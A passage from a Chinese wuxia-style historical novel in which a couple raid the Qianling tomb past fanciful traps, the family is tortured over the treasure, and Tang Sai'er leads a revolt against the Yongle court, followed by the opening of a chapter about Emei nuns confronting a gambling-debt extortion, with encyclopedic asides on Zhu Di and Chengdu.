林山和唐赛儿二人小心谨慎,勘察好地形地貌,然后趁着夜色,悄悄潜行到乾陵附近,依照图中所示,在密林的山坡上,找到了一个非常隐秘的乾陵入口,林山用祖传的拐钉钥匙和分石铁钩,将乾陵的顶门石和自来石石门打开,两人打着火折,按图中所示,首先到了朱雀门,这朱雀门两边,是护陵金木水火土五行阵的第一关卡:金箭齐射阵,这种机关连弩是唐代皇陵中最常见也最直接的防盗机关,建墓之人运用了唐代能工巧匠在弓弩制造方面的智慧,将强力的连环弩箭隐藏在城门,墓道等处,一旦有盗墓之人闯入触动机关,这些连环弓弩就会射箭如雨如飞蝗般射出,威力巨大,足以穿透任何护身盔甲,更令人望而生畏心中恐惧的是,这些连环弓弩射出的弓箭上,还涂有金色剧毒,这些金色剧毒取自西域沙漠之地的金环毒蛇,见血封喉,盗墓之人只要被射中,必死无疑。林山和唐赛儿小心翼翼,按图中提示,走五行相生相克变化之处,通过朱雀门进入城内的守卫之区,这守卫之区是仿照两军对垒攻打城池的情景所造,用滚木礌石布下护陵五行阵的第二道关卡:滚木礌石阵,这种用滚木礌石作为机关的,在唐代皇陵中并不多见,这种机关耗费巨大,只有在王朝最鼎盛的时期,才有财力可以建造,它是运用唐代将士在守城杀敌方面的智慧,将滚木礌石悬挂在墓道高处,一旦有盗墓之人闯入触动机关,滚木礌石就会瞬间落下,将盗墓之人砸死压扁。林山和唐赛儿提心吊胆,按照图中提示,用六丁六甲轮值之术化解机关,穿过守卫之区后,进入离门地宫,这离门地宫之中,是仿照模拟天文地理图景,用大量水银造了一条水银河,用水银河作为护陵五行阵的第三道关卡:水银蚀骨阵,水银不但含有剧毒,而且非常容易挥发,一旦有盗墓之人闯入触动机关,在地宫这种密闭的状态下,水银立刻会产生大量毒气,让盗墓之人中毒身亡,盗墓之人若是不小心落入水银河河中,立刻就会被水银蚀骨而亡,林山和唐赛儿如履薄冰,按照图中提示,脚踏七星方位从水银河上穿过,进入乾陵核心区域皇家之城,皇家之城内设置护陵五行阵的第四道关卡:火油焚天阵,这些火油取自深海,熔点极低,一旦有盗墓之人闯入触动机关,火油立刻会喷洒而出,沾到人身,立刻剧烈焚烧,将盗墓之人烧为灰烬,林山和唐赛儿如临深渊,按照图中提示,走乾坤八卦法门,从火油焚天阵走过,进入主墓室,只见主墓室如同一个巨大的宫殿,金碧辉煌,四周堆放的名贵珠宝,不计其数,盗墓之人进入主墓室后,看见这不计其数的奇珍异宝,往往贪婪之心大起,又以为护墓机关已经全部破解,心情会有所放松,看见主墓室中一马平川,自以为惊天巨额财宝就在眼前,往往放松警惕欣喜若狂,但是主墓室中,却隐藏着护陵五行阵中,最凶险最厉害的第五道关卡:裂土为阱阵,这种机关极其凶险,建墓之人,在主墓室中挖了很多陷阱,在陷阱上面设置连环翻板,连环翻板利用了杠杆原理,将看似平淡无奇的木板制成可翻转的陷阱,盗墓之人一旦踏上这些木板,就会在一瞬间被卷入木板底下,翻板下面是深不见底并摆满尖刀的陷阱,陷阱中,往往有奇人异士布下千年蛊虫之卵,这些千年蛊虫之卵,一旦被人惊动,立刻会破卵而出,这些千年蛊虫口含剧毒并且飞行速度极快,盗墓之人被咬上一口,就会毒发身亡,这种连环翻板机关不仅隐蔽性强,而且变化多端,一步走错,就会跌入陷阱丧命,而陷阱中暗藏的千年蛊虫,更是让盗墓之人防不胜防,如果没有藏宝图指引,就算误打误撞进入乾陵,也是有来无回,百死无生。林山和唐赛儿眼见墓室中这么多奇珍异宝,只看的目不暇接眼花缭乱,二人不敢轻举妄动。”站好身形,定睛看去,只见主墓室最南边,摆放着两个高大的金丝楠木棺材,楠木棺材前,摆放着一个晶莹剔透洁白无瑕的白玉石桌,石桌上放着一个翠绿西瓜,一个古色古香的木盒,还有一个西瓜一般大小的夜明珠,把幽暗的墓室照的如灯火通明,林山和唐赛儿禁不住大吃一惊,心想这乾陵中任何一件珠宝拿出去,都会轰动天下,林山和唐赛儿对视一眼,心意相通,唐赛儿道:“夫君,我们上前看看白玉石桌上的宝物,如果合适,我们取其中一件即刻。”林山点点头,按图中所说,和唐赛儿按照九宫图反复流传方位,小心谨慎来到白玉石桌前,二人看了看翠绿西瓜,又看了看夜明珠,再看最中间的那个盒子,盒子上赫然写着几个字:兰亭序,林山和唐赛儿二人是目瞪口呆瞠目结舌,夫妻二人楞了好大一会,才缓过神来,唐赛儿道:“夫君,这书法作品太过贵重,而夜明珠又容易招人耳目,我们就取那翡翠西瓜。”林山道:“好,这一件翡翠西瓜应该可值纹银几十万两,我们取这一件便可。”两人商量好后,便取了一件翡翠西瓜,然后又按图所示,小心翼翼退出墓室,退出墓室后,又全神贯注谨小慎微的退出乾陵陵墓,最后又用祖传的拐钉钥匙和分石铁钩,将墓室的顶门石和自来石石门,原样封好,两人不敢停留,又骑上快马,日夜兼程,赶回山东,林启元正在家中等的焦急万分,见儿子儿媳平安归来,又取得珍宝,心中的大石头总算放了下来,林启元派出人手,悄悄联系了一位高丽古董商人,这高丽古董商人向来为高丽国王室搜寻奇珍异宝,与林启元见面后,见到了翡翠西瓜,心中是又惊又喜,双方最终谈定以六十万两白银成交,成交后,高丽古董商人,带着随从悄悄离开山东地界,准备返回高丽国,林启元拿到六十万两银票后,发动族中子弟,四处购买粮食,不但解决了族中子弟的温饱,还救助了数万饥民。 再说那高丽商人,得了这翡翠西瓜,自然是欣喜若狂,生怕有人知道,于是思前想后考虑再三,便买了一马车西瓜,将其中一个西瓜破开去瓤,把翡翠西瓜藏在这西瓜腹中,一路上小心谨慎,往高丽而去。这日,一行人行到辽东龙城,正在过关卡时,却被镇北侯公孙宝的长子公孙荣看个正着,第一代镇北侯公孙文此时已经去世,长子公孙宝接任第二代镇北侯,公孙宝长子公孙荣帮助父亲处理龙城事务,公孙荣二十多岁,眉清目秀,仪表堂堂,公孙荣问手下人道:“这些高丽人,马车上怎么拉了这么多西瓜?”手下的将士答道:“回禀小侯爷,听那高丽商人说,高丽国国王,喜欢吃我们中土的西瓜,所以,他们就将中土的西瓜运回去,进献给高丽国王。”公孙荣思索片刻,心中百思不得其解,暗想:“高丽国也产西瓜,这些高丽商人,千里迢迢运些西瓜回去,这其中必有蹊跷。”于是,命手下将士,将高丽商人一行人全部带到军营审问,那高丽商人,自是拼死不说实话,只是连声辩解道:“我国国王喜欢吃中原的西瓜,所以命我们前来采购。”公孙荣冷冷一笑道:“来人呐,给我将这些西瓜一个一个详细检查。”那高丽商人,虽想阻止,一行人却被兵丁拽到一旁捆绑起来,众兵丁一拥而上,仔细检查,终于在一个西瓜中发现了翡翠西瓜,连忙将翡翠西瓜取出,献给公孙荣,公孙荣看到翡翠西瓜,也是大吃一惊,连忙命将士将高丽商人一行人押入监牢,自己则亲自带着翡翠西瓜去见父亲公孙宝,此时,第一代镇北侯公孙文已经去世,有嫡长子公孙宝承袭镇北侯之爵,公孙宝年纪五十岁出头,身高七尺,三绺长髯,白净面庞,温文尔雅中却带着一丝尊贵霸气,顾盼之间威风凛凛气势逼人,公孙宝见到翡翠西瓜,纵然他见多识广,也是大吃一惊,道:“荣儿,你这西瓜从何而来?”公孙荣道:“爹,这是从高丽商人的运瓜车上查获的。”公孙宝道:“这翡翠西瓜是天下至宝,听说当年被武则天殉葬在乾陵古墓里,多少盗墓贼想去盗宝,都无功而返,唐朝的黄巢造反,带了四十万大军挖了半座梁山,都没有得逞,想不到今日竟被我们得到。”公孙荣道:“爹,难道是高丽商人从乾陵中盗宝而来?”公孙宝思索片刻,摇摇头道:“高丽商人恐怕没有这么大本事,盗宝之人肯定是另有他人,你回去严刑拷打,问清楚那高丽商人,这翡翠西瓜从何而来?”公孙荣领命,回到监牢,酷刑逼问,高丽商人受刑不过,只好将事情经过,原原本本告诉了公孙荣。公孙荣得到口供后,立马回去向公孙宝禀报,公孙宝道:“这山东林家竟然有乾陵宝藏中的翡翠西瓜,看来他们知道如何进入乾陵,你即刻飞鸽传书,命青龙会宇文山派得力人手前去山东,打探山东林家的消息,再将高丽商人一行人全部处死。”公孙荣丝毫不敢怠慢,立刻命手下将高丽商人一行人全部处死,然后飞鸽传书,命青龙会会主宇文山即刻派出得力人手去山东林家打探乾陵宝藏藏宝图消息。 再说,林家这边救济了族人,又解救了几万灾民,本想这是普度苍生的好事,没想到却得罪了城中的粮商,这粮商名叫田有财,是青州知府大人丁有利的小舅子,本来郎舅二人商量好了,想趁天灾屯了大批粮食高价出售,没想到如意算盘却被林家所破,田有财心中憋火,跑去找姐夫丁有利诉说委屈,丁有利听小舅子把事情前因后果一说,眼珠骨碌碌乱转,考虑良久,对田有财道:“弟弟,林家突然拿出这么多的银两出来买粮,这其中必有蹊跷。”田有财道:“是啊,姐夫,就林家买粮的银子,足足花了五十万两,真不知道林家哪来这么多钱?”丁有利道:“我们想个法子,把林家的底细摸清楚,看看他到底从哪里来的这么多钱。”两个人交头接耳商量后,第二天丁有利贴出告示,说州府银库被江洋大盗盗取了大批银两,特悬赏重金捉拿贼寇。第三天,丁有利命府中的衙役将林氏父子押解到州府大堂,严加审问,购买粮食的大量银子从何而来?林氏父子,只说是家中先人所留,不肯吐露实情,丁有利命衙役严刑拷打,林启元年龄已大,身体本就虚弱,受不过严刑,当场就被杖毙在大堂之上,林山虽然年轻,但也被打的皮开肉绽,疼的死去活来,林山看到父亲惨死,心中怒火中烧,对丁有利道:“大人,我招。”丁有利大喜,连忙道:“好,快快招来,免收皮肉之苦。”林山虚弱的口气道:“大人,此事事关重大,请您附耳过来,我只能说给你一个人听。”丁有利连忙起身来到林山身旁,将耳朵凑到林山的面前,林山趁其不备,一口将丁有利的耳朵咬住,丁有利疼得哇哇直叫,身旁的衙役连忙上前想分开两人,但林山已经抱着必死之心,使出全身的力气,死咬着丁有利的耳朵不放,只见众人连拉带扯,丁有利惨叫一声,大半个耳朵被林山咬下,丁有利疼的龇牙咧嘴,怒不可遏,大声喝道:“给我打,狠狠的打。”众衙役挥棍如雨,可怜林山也被活活打死,丁有利怒火未消,命衙役将林氏父子的尸体悬挂在衙门前的旗杆上示众,这边有林氏的族人看到,连忙回去告知林夫人和唐赛儿,林夫人闻此噩耗,气血攻心,命丧当场,唐赛儿心中悲愤交加,安抚了小姑子林萱后,带着几十名族人,去衙门与官府交涉,只见衙门前,林氏父子伤痕累累,血迹斑斑的尸首,正挂在旗杆上,众人上前跪拜后,然后起身去衙门前击鼓鸣冤,丁有利得知林氏族人来到,便命人将唐赛儿一人传至大堂,唐赛儿眼含怒火,站立不拜,丁有利一拍惊堂木,大声喝道:“哪里来的刁妇?见了本官竟敢不跪?”唐赛儿道:“不知道我家公公和我家相公身犯何罪?竟被大人乱棍打死,还将尸首挂在旗杆上示众。”丁有利道:“州府官银被盗,本官得到线索,说是林氏父子,勾结江洋大盗所为,所以本官将他父子二人带来审问,没想到,林山穷凶极恶,竟敢咬掉本官的耳朵,所以本官命人将他父子二人乱棍打死。”唐赛儿道:“大人说林氏父子勾结江洋大盗,可有证据?”丁有利道:“官银大批被盗,你林氏买了那么多的粮食,足足花费了四五十万两纹银,钱从哪里来?”你如实招来。”唐赛儿一听,心中已经明白:“这知府眼见自家拿出了大批银两买粮食救济灾民,心中起了疑心,所以想打听个究竟。”唐赛儿道:“这些银两是我林家先人所留,我们见百姓缺衣少粮,饿殍遍野,所以将祖产拿出来买粮救济灾民,这有何罪?”丁有利哈哈大笑道:“好一个尖牙利嘴的泼妇,你林氏本只是小康人家,定然是得了不义之财,所以才有钱买粮,快快给我如实招供,要不然,本官不但要将你严刑拷打,还要将林氏父子的尸身丢弃荒野,让野狗啃食。”唐赛儿闻言,再也按捺不住心中怒火,施展轻功,一个燕子抄水,纵身来到丁有利身旁,拔出腰中暗藏的匕首,对着丁有利的胸腹部噗噗连刺几下,丁有利万万没想到,一个女流之辈竟然身怀武功腰藏利刃,躲闪不及,惨叫几声,命丧当场,众衙役见州府大人丧命,一个个吓得面无人色,连忙上前捉拿唐赛儿,唐赛儿连躲带闪,抢了一根棍棒,边打边退,众衙役哪里肯放过,一直追打唐赛儿出了衙门口,林氏族人本来在衙门口等候,听到里面有人大声喊叫:“不好啦,不好啦,知府大人遇刺了,知府大人遇刺了。”正在众人惊恐之时,只见众衙役追着唐赛儿出了州府大门,正拿棍弄棒,要捉拿唐赛儿,林氏族人本来对林氏父子的死就满心怒火,见此情形,再也按耐不住,大声喊道:“帮夫人打这帮狗杂碎。”几十个人上前,和衙役开始对打,不少灾民也在衙门口围观,见此情形,也大声喊道:“帮林氏父子报仇,大家一起上。”几百名百姓,一拥而上,将那二三十名衙役全部打倒在地,命丧黄泉,唐赛儿见此情形,大声喊道:“乡亲们,我们打开州府粮仓,把里面的粮食分给老百姓。”众百姓齐声答应,都纷纷拿起武器,跟随唐赛儿杀到官府粮仓,粮仓的守卫,见来了这么多百姓,都杀气腾腾,不敢阻拦,一溜烟跑了,唐赛儿命众人打开粮仓,将里面的粮食全部分给百姓,此时的田有财,已经得到消息,连忙收拾金银细软,想出城逃命,却被唐赛儿等人堵个正着,百姓们一拥而上,将田有财一家人杀了个精光,唐赛儿命令林氏族人,将库府中的武器分给灾民,占领青州城,举起义旗,起兵造反。山东的官员,得到消息,一边调兵包围青州城,一边派快马将唐赛儿造反一事报告到京城,兵部尚书金忠得报后,立刻进宫去向永乐大帝朱棣禀报,朱棣乃大明太祖皇帝朱元璋的第四子,明朝的第三位皇帝,史称明成祖,文韬武略智勇双全,世人皆赞曰:““文能提笔安天下,武能上马定乾坤”。洪武三年(公元1370年),朱元璋册封诸皇子为王,封朱棣为燕王,又设立大宗正院,即后来的宗人府,掌皇族内部事宜。洪武十三年(公元1380年)就藩北平,洪武二十三年(公元1390年),率军招降北元乃儿不花,声望日隆,朱棣初封燕王后镇守北平,明太祖朱元璋死后,皇太孙朱允炆即位后听从朝臣建议,宣布削夺同姓藩王的封地。朱棣不肯就范,遂于建文元年(公元1399年)在北平起兵,自称“靖难”。建文四年(公元1402年),朱棣攻破京师南京,夺取皇位,即位后年号“永乐”,并于永乐十八年(公元1421年)迁都北京。朱棣的皇后徐妙云,明朝开国元勋徐达长女,朱棣正妃,后被册封为仁孝皇后。她自幼聪慧,通经晓史,被称为:“女诸生。9岁时被马皇后召入宫中,成为宫廷女官。14岁时,被朱元璋聘为四子朱棣的正妃。17岁时随朱棣就藩北平,朱棣北伐时,她留守北平,负责调度粮草,在靖难之役中,她率领弱兵和老弱妇孺坚守北平城,成功抵御了李景隆的50万大军, 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此时朱棣正在和徐皇后在御花园赏花,手下侍卫来报:“兵部尚书金忠求见皇上,有急事禀报。”朱棣道:“宣。”片刻功夫,只见金忠匆匆而来,见到朱棣和徐皇后,三拜九叩道:“微臣拜见皇上,皇后娘娘。”朱棣道:“金忠,你匆匆而来?有何急事禀报?”金忠道:“微臣刚刚接到快马来报,山东青州有一名叫唐赛儿的妇人,杀死州官,纠结上万民众,起兵造反。”朱棣一听,微微一愣,道:“可知是何事引起?”金忠道:“听山东的官员报,林氏父子,勾结江洋大盗,盗取库银,被知府丁有利查获,丁有利严刑拷打,追问同党,林氏父子,穷凶极恶,竟将丁有利的耳朵咬掉,丁有利命人乱棍将林氏父子打死,并将尸体悬挂在旗杆上示众,林家之子林山有妻唐赛儿,十分凶悍,竟敢身藏利刃,在大堂上将丁有利刺死,并蛊惑百姓打开粮仓分粮,又杀死粮商一家,取了州府中的武器,占据青州城,兴兵造反。”朱棣道:“这唐赛儿是哪里人氏?一个民妇竟然如此大逆不道刁蛮凶悍。”金忠稍微犹豫片刻,道:“听山东的官员报,这唐赛儿是西北圣火教教主唐梦泽之女。”朱棣和徐皇后听了此言,不禁微微一愣,徐皇后道:“圣火教唐梦泽?不是唐正阳唐表哥的儿子吗?”金忠道:“正是。”朱棣怒道:“唐梦泽身为皇亲国戚,竟然纵女造反,罪在不赦,即可命人去圣火教,将唐梦泽一家捉拿归案。”徐皇后连忙道:“皇上,请三思,唐正阳表哥是太后娘娘娘家至亲,曾经得太后娘娘赐字:日月之下,圣火连绵,又得太祖皇帝赐字:仁义忠孝,太后娘娘和朱标大哥在世时,恩赏无数,依臣妾看来,唐梦泽表侄身受皇恩,定然不会纵女造反。”朱棣闻言,思索片刻,已经明白徐皇后的用意,自己发动清君侧,靖国难之名起兵,荣登大宝,对外一直宣称自己是太皇太后亲生,如今太皇太后的娘家至亲却起兵造反,传出去岂不是贻笑大方,让天下人耻笑。”朱棣想到这,不由得心中踌躇,道:“依皇后之见,此事该如何处置?”徐皇后道:“先派人招安,如招安不成,再派兵剿灭,至于唐赛儿的家人,看在太祖皇帝和太皇太后的面子上,暂且放他一马。”朱棣看了看徐皇后,两人心意相通,朱棣道:“金忠,按皇后娘娘的意思去办。”金忠领旨后,即刻命兵部要员前往山东,去招安唐赛儿,唐赛儿身负血海深仇,对官府恨之入骨,怎肯接受招安,多次率众击溃官兵,唐赛儿作战时,一马当先身先士卒,在沙场对阵厮杀时,与青州卫指挥高凤交手,二人鏖战多时,高凤一招不慎,被唐赛儿一剑刺死,高凤率领的官兵死伤惨重大败而逃,大明朝廷得知后,朱棣大怒,命令兵部派遣安远侯柳升,率领大军前来平叛,柳升行伍出身,曾经远征交趾,大破倭寇,抵御蒙古,威镇宁夏,自幼熟读兵法,深有谋略,柳升到达青州城外,排兵布阵井然有序胸有成竹,命令士兵用云梯火炮攻城锤日夜轮番攻城,唐赛儿虽然武艺超群,但是手下部众却缺少军事训练和实战经验,再加上敌众我寡,半个月后,青州城失守,唐赛儿无奈,只好带上小姑子林萱,率领手下残兵败将退据卸石棚寨,依仗地势险要,对抗官兵,安远侯柳升见山势险要,若是强攻,手下兵丁死伤众多,于是便命兵丁将卸石棚寨团团围住,唐赛儿坚守半个月后,见寨中粮草日夜减少,心中也是焦急万分,这日深夜,唐赛儿正在房中苦思对策,忽听寨墙上一片喧哗,连忙出去查看,只见手下几十个部众正将两人团团围住,那两人大声喊道:“我乃圣火教翼王燕王,奉教主之命,前来求见唐赛儿。”唐赛儿一看,正是圣火教中神翼王萧桐,飞燕王苗雨燕,连忙出声阻止手下部众,将翼王燕王夫妻请入客厅落座,翼王道:“二小姐,你的事教主都知道了,如今官兵势力强大,教主让你暂避锋芒,让我们接你回圣火教。”唐赛儿道:“多谢爹爹好意,我被逼无奈起兵造反,如今已然落败,万万不能回圣火教连累父母兄弟。”燕王苗雨燕道:“二小姐,你避避风头,先回圣火教,我们从长计议。”唐赛儿摇摇头道:“兴兵谋反乃是株连九族的大罪,我一人做事一人当,绝对不能回圣火教,这样不但会连累父母兄弟,还会连累圣火教的叔伯,翼王燕王不必担心,我自有打算,唯有一事相求,请翼王燕王多多帮忙。”翼王萧桐道:“二小姐,有何事?请讲,我夫妻二人赴汤蹈火在所不辞。”唐赛儿从身边将小姑子林萱拉过来道:“现在林家只剩下我小姑子一人,我纵然身死,也不足惜,只求燕王翼王将我小姑子带去圣火教,让我爹爹收作女儿,用心抚养她长大。”燕王翼王道:“二小姐请放心,我们定然会护着林姑娘周全。”唐赛儿连声道谢,然后起身将林萱拉到内室,将林家古筝交给林萱,并小声将林家古筝的秘密,乾陵藏宝图详细告诉林萱,千叮咛万嘱咐,以后乾陵的宝藏万万不可动用,正是林家动用了乾陵的翡翠西瓜,才招来如此横祸,这秘密万万不可泄露给他人。林萱年纪虽小,眼见父亲哥哥惨死,母亲急怒而亡,家中遭遇巨变,嫂嫂被逼造反,都是去乾陵取宝惹的祸,当即发誓绝不泄露乾陵藏宝图的秘密,更不会去乾陵取宝。唐赛儿嘱咐完后,将林萱领到翼王燕王的面前,拜谢两人搭救之恩,翼王萧桐道:“二小姐,我看官兵将这山寨围得水泄不通,虽然这山寨地势险要,但时间长了,粮草必然跟不上,这山寨难道没有什么暗道可以逃离?”唐赛儿苦笑道:“这山寨四面环山,离最近的山崖都有三十丈。”除非变身飞鸟,否则,插翅难逃,我等已抱着必死决心,准备几日后血战突围。”燕王翼王夫妻两,对视了一眼,心意相通,对唐赛儿道:“二小姐,你能不能带我们去最近的山崖看看。”唐赛儿虽然不明白他们是什么用意,但也起身带着翼王夫妻二人前往,燕王翼王来到后寨墙上,定睛一看,果然离最近的山崖也有二十丈多丈,夫妻二人低声商量一会,对唐赛儿道:“二小姐,你给我们准备一些细绳铁链,要足足三十丈才行,另外再拿两块木板,唐赛儿命人取了一些细绳和铁链,每根都长有三十多丈,又取了两块木板,燕王将细绳一头缠到自己手中,又将另一头绑在树木之上,然后提神运气,气沉丹田,脚尖用力,从寨墙上一跃向前,燕王苗雨燕乃是当今武林第一轻功高手,这一跃足足跃过了十余丈,只见她在空中一展身形,使了一招雨燕展翼,又向前滑行数丈,正在力道用尽,身形要坠落之时,翼王的手中木板,已用力飞出,正飞到燕王脚下,燕王足尖一点木板,再次施展身形,又向前窜了十余丈,正在唐赛儿等人看的心惊肉跳之际,燕王已稳稳的落在对面山崖之上,燕王将手中的细绳解开,绑在一棵小树上,翼王也将这边的细绳从树上解开,然后牢牢的绑在铁链之上,将铁链的另一头牢牢绑在一棵巨树身上,燕王双手不断拉动,片刻功夫,已将铁链一头拉到对面的悬崖之上,燕王翼王两边一起发力,将铁链变成一道铁索桥,唐赛儿见状,心中大喜,翼王道:“二小姐你再取些铁链过来,我们在这悬崖之上,连接四道铁索,在下面的两道铁索上绑上木板,然后带着你的部众,从铁索桥上,走到对面的山崖之上。”唐赛儿欣喜若狂,连忙命手下部众,取了几道铁索过来,燕王翼王如法炮制,很快便在寨墙和山崖间搭起了一道铁索木桥,唐赛儿命手下部众,收拾好行囊,又将山寨中的银两均分给手下部众,然后在燕王翼王的带领下,众人趁着夜色,从铁索桥上悄悄的爬到对面山崖,众人不敢声张,借着夜色掩护,悄悄的行到山脚下,到了山脚后,燕王翼王带着身背古筝的林萱与唐赛儿告别,向圣火崖行去,唐赛儿安抚部众后,命他们悄悄返乡。自己则领着手下的七名侍女,昼伏夜行,径直向九华山而去。待到第二天后,山下的围困的官兵,见山寨悄无声息,连忙禀报安远侯柳升,柳升连忙率兵冲上山寨,只见山寨中空无一人,搜索到后寨墙时,才发现唐赛儿及手下部众趁着夜色,已经从铁索桥上全部逃离,柳升连忙下山通知各地官府全力追捕,又派快马向朝廷报告,此时,还有另一股势力,青龙会,得到公孙宝的指令后,也派人在附近打探消息,得知唐赛儿等人逃离后,一边飞鸽传书报告公孙宝,一边加派人手搜捕唐赛儿手下部众,有些部众不幸落入官府和青龙会之手,受到严刑拷打,有些人受不了酷刑,供出当晚圣火教燕王翼王前来救援,将众人救出山寨,并带林萱离开,唐赛儿带着手下七名侍女也已经逃离,不知所踪。朱棣得报后,勃然大怒,想派兵前去讨伐圣火教,被徐皇后拼命阻止,只好命令各地官府严查唐赛儿踪迹,对各种庵堂道观,更是详细盘查,镇北侯公孙宝得到青龙会的密报后,和大儿子公孙荣在一起商量,公孙荣道:“爹,圣火教的翼王燕王带着唐赛儿的小姑子林萱,定然是逃回了圣火教,依我之见,我们多派高手秘密潜伏在圣火崖周边,瞅准机会,将林萱绑到我们龙城来,严加拷问,那小丫头才十岁出头,定然受不住酷刑,必定会招供,将藏宝图的秘密告诉我们。”公孙宝摇摇头,道:“荣儿,林家父子宁可被官府严刑折磨至死,也不愿吐露实情,可见这林家一家人性格倔强,想绑架林萱,用酷刑逼她招供,恐怕不大容易,再说当今圣上,明知唐赛儿是圣火教教主唐梦泽的女儿,也不愿去祸及圣火教,可见圣火教在皇上心中,也是皇亲国戚,我们若有轻举妄动,被人抓住把柄,一是圣火教定然不会和我们善罢甘休,二是朝廷若是得知我们在追查乾陵藏宝图,只怕会给我们招来祸患。”公孙荣道:“依爹爹所见,这事如何办才妥当?”公孙宝思索良久,道:“此事我自有安排,攻心为上,以柔克刚,万万急不得。”公孙荣道:“全凭爹爹安排。”公孙宝道:“即刻飞鸽传书,命令青龙会派得力手下,扮作普通商户,在圣火崖附近开设客栈,酒馆,再命人扮作种地农夫,樵夫,猎户,盯紧每一个上下圣火崖的人。”公孙荣领命,立刻飞鸽传书,命青龙会按指令行事。 18. 第 18 章 第十八章:金鹏救狱 再说峨眉派,慧明师太已经过世,临终前,将掌门之位传给了徒儿静心,静心接任掌门后,就峨眉派管理的有条不紊井然有序,这天,静心师太正在庵中诵经,守门的弟子空智急匆匆进来,对静心师太躬身施礼,道:“启禀掌门,慧明师祖的侄儿有急事求见。”静心师太道:“有请。”功夫不大,慧明师太的侄儿董明龙,带着老婆,儿女,急匆匆进来,见到静心师太,四人噗通跪倒,齐声道:“师太救命。”静心师太一愣,连忙上前搀扶,道:“快快请起,有事好好说。”董明龙等人跪在地上,却是不肯起来,口中只是念道:“师太救命。”静心师太只好连拉带拽把四人扶起,让他们坐下来慢慢说。”董明龙用手指着儿子董章能道:“师太,这小畜生半个月前出去,和狐朋狗友去赌场,不知道是让人出老千,还是自己手气差,足足输了一千两银子,他没有钱还赌债,赌场让他打了借条,他当天晚上回家,没敢和我说,过了十天左右,赌场上门要债,我们夫妻才知道这事,我们见赌场来要账的,一个个凶神恶煞,自称是青龙会的,我们没敢和他们争吵,当时就想把家里的田地店铺卖了,凑钱把赌债还了,没想到赌场的人说,赌债是一天十分利,利息还要利滚利,说我儿子拖欠十天,现在要我们还三千两银子,我们都吓傻了,就是倾家荡产也凑不到三千两银子啊,只好苦苦哀求,请他们高抬贵手,我们倾家荡产也只能还他们两千两银子,可是青龙会的人说,如果不还三千两,就要抓我们的女儿去他们的青楼卖身,我们实在没有办法,只能来这里求师太帮忙救救我们。”静心师太,看了一眼低头站在旁边的董章能,问道:“章能,你给我说说,怎么回事?”董章能结结巴巴道:“那天我们几个人,去酒馆喝酒,有一个朋友非说要去赌场玩牌九,我们几个就一起去了,那个朋友非要让我们玩,我说我不会,他非要和我合伙,我实在没办法,就同意了,没想到,他上去就押两千两银子,我还没有来得及阻拦,庄家就开牌了,说我们输了,让我们给银子,我们说没有,赌场的人就逼我打高利贷借条,如果不打,就要剁了我们双手,我那朋友说,让我和他各自打一千两借条,他负责回家想办法筹钱还赌债,我当时实在害怕,就和他一人打了一千两银子借条,我们出了赌场,我那个朋友说回家筹钱还赌债,没想到,后面几天,我去找他,他竟然跑没影子了,我没敢告诉爹娘,只好到处找他,但是实在找不到,然后赌场的人就来我家要赌债了。”静心师太听了,长叹一声道:“你不用再找你那朋友了,他和赌场是一伙的。”此言一出,只见董章能连连摇头睁大眼睛道:“师太,我那朋友很讲义气的,经常请我吃饭喝酒,也可能是他没有筹到钱,没有办法才出门躲几天。”一旁的董明龙,气得用手指着儿子,直跺脚,静心师太摇摇头,道:“我问你,你那朋友有多少家产?竟然敢一把押两千两银子。”董章能想了想,嘴里嘟嘟囔囔道:“他好像没什么家产。”静心师太道:“既然他没什么家产,凭什么一把就敢押两千两银子?还非要和你合伙?既然合伙,他也知道你身上没有那么多银两,为什么不和你商量商量,就下这么大的赌注?而且赌场的人竟然同意他空口押两千两银子,你不觉得奇怪吗?”董章能一听,眉头紧锁,陷入深思,静心师太又道:“你们输了之后,你那朋友让你和他各自打一千两借条,他负责回家想办法还赌债,现在他人呢?”董章能这才反应过来,低着头不敢说话,静心师太对董明龙道:“孩子是被人设计陷害了,这件事十有八九和赌场有关。”董明龙叹口气道:“师太,我在家里,也猜是赌场派人设局害了我儿,我本来想,我们平民百姓,惹不起青龙会,就变卖家产,把赌债还了,没想到十天时间,青龙会竟然连本带利要三千两,我们实在是还不起,青龙会竟然要逼我们把女儿送去他们的青楼卖身还赌债。”话刚说完,夫妻二人和女儿已经泣不成声,董章能在一旁,瓮声瓮气道:“爹,娘,都是我的错,你们不要帮我还赌债,更不能让妹妹去青楼,大不了,我把这条命给青龙会。”静心师太看了看董章能,又问董明龙:“你们有没有报官府?”董明龙哭着道:“报了,官差说,又没人逼你家孩子去赌钱,输了就要给钱,欠债还钱,天经地义。”静心师太一愣,道:“这么高的利息,官府也不管?”董明龙道:“官差说,又没人逼你家孩子借钱,借钱时,赌场已经告诉你家孩子多少利息了,现在嫌利息高,当时干什么去了?”静心师太此时,心中已经明白,官府已经被青龙会买通,黎民百姓根本没有地方说理,想到这,静心师太道:“明龙啊,我陪你们走一趟,看看青龙会能不能看在峨眉派的面子上,免一点利息。”董明龙夫妻抹抹泪水,躬身施礼,道:“多谢师太。”静心师太带着几名弟子,和董明龙一家四口,出了峨眉派,向成都府而去,两日后,一行人到了成都, 成都是中国四川省省会,位于四川盆地西部,被誉为"天府之国"。公元前316年,秦国吞并巴蜀。公元前311年,秦人按咸阳建制修筑城垣。公元前106年,汉武帝在全国设13州剌史部,在成都置益州剌史部,分管巴、蜀、广汉、犍为四部。 秦末、汉初成都取代中原而称“天府”。 东汉末年,刘焉做“益州牧”,移治于成都,用成都作为州、郡、县治地。秦汉成都的商业发达,秦时成都即已成为全国大都市,西汉时成都人口达到7。”6万户,近40万人,成为全国六大都市(长安、洛阳、邯郸、临洮、宛、成都)之一。秦汉三国和隋唐宋元时期,成都都是当之无愧的西南地区政治、经济和文化中心,也是丝绸之路的起点之一。 成都是一座充满魅力的城市,自古以来就吸引了无数文人墨客的赞美,唐代李白的《上皇西巡南京歌十首·其二》:“九天开出一成都,万户千门入画图。草树云山如锦绣,秦川得及此间无。” 描绘了成都的繁华与美丽,将其比作天上的仙都,认为成都的自然风光和城市景象如同一幅展开的画卷,其美丽是秦川地区所无法比拟的。 唐代杜甫的《蜀相》:“丞相祠堂何处寻,锦官城外柏森森。映阶碧草自春色,隔叶黄鹂空好音。” 通过描写武侯祠的景色,表达了对蜀汉丞相诸葛亮的敬仰和怀念,也侧面展现了成都的历史文化底蕴。 唐代杜甫的《绝句》:“窗含西岭千秋雪,门泊东吴万里船。” 从诗人的视角,生动地描绘了成都的自然景观和交通便利,展现了成都的独特魅力。 